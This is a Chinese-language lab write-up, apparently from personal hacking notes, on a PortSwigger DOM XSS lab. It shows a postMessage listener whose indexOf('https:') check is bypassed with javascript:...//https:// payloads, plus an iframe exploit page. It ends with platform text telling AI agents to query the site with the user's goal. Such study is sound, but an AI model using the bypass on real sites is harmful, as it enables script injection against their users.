> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# 通过 Web 消息和 JavaScript URL 的 DOM XSS

通过 Web 消息和 JavaScript URL 的 DOM XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 使用 Web 消息和 JavaScript URL 的 DOM XSS

演示通过……导致重定向/执行的 DOM 漏洞实验 `postMessage`。目标：在利用服务器上构建一个 HTML 页面，发送一条消息以在 `print()` 目标页面中运行。

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

目标页面会监听已发布的消息，并将接收到的数据视为 URL。如果接收到的字符串包含 `HTTP:` 或 `https:`，页面会重定向（`location.href`）到该值。目标端代码如下：

```javascript
window.postMessage('https://jord4n.pro', '*');
```

成功触发重定向到 `https://jord4n.pro`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03852e822640660566d7f35a2f2349fc371057ca%2Fimage%20(3077).png?alt=media" alt=""><figcaption></figcaption></figure>

### 规避验证

验证仅阻止不包含以下内容的字符串 `HTTP:` 或 `https:` （通过 `indexOf`）检查）。 `indexOf > -1` 因此可以通过添加一个 `//https://...` 部分，在一个 `JavaScript：` 协议，使条件满足，同时保持 URL 以 `JavaScript：`开头。例如：

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* 要弹出警报：

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6f7921a6d9da8c82d21698e07410e9a03caf8fd%2Fimage%20(3078).png?alt=media" alt=""><figcaption></figcaption></figure>

* 要调用 `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

该 `//https://google.com` 部分仅用于满足 `indexOf('https:') > -1` 条件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-512a2707856d9dce518c0eac21de7c287d5446ef%2Fimage%20(3079).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 最终利用

攻击页面可以包含一个指向易受攻击页面的 iframe，并在加载时向嵌入内容发送恶意消息。以下是在攻击服务器上放置的实现示例：

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-645c3cc563ebdc1400083e89466bd04daf2c019a%2Fimage%20(3080).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
